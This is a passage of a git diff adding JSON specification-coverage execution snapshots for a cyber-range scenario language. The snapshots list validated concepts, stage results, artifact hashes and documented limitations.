"/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "945267796770238855d21a75e9da35f74791edbe1b0b72d544cdb94a12f01b12", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "Issue #1358 final-egress denial is verified by dedicated runtime regressions; this retained SDL corpus adds no egress assurance claim." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "26e3e419158d5c6212060033a06174aa08ae501f", + "snapshot_id": "raes-standardized-specification-coverage-issue-1358-v46", + "snapshot_revision": "46.0.0", + "source_state": { + "base_revision": "26e3e419158d5c6212060033a06174aa08ae501f", + "checkout_state": "modified", + "implementation_digest": "1d904064b9699c289c385439bac144708f2f7434051baab6e78ed5c9e66194e4", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v47.json b/docs/research/specification-coverage/execution-snapshot-v47.json new file mode 100644 index 000000000..541ff0ab3 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v47.json @@ -0,0 +1,701 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-25T04:28:12.014375+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": 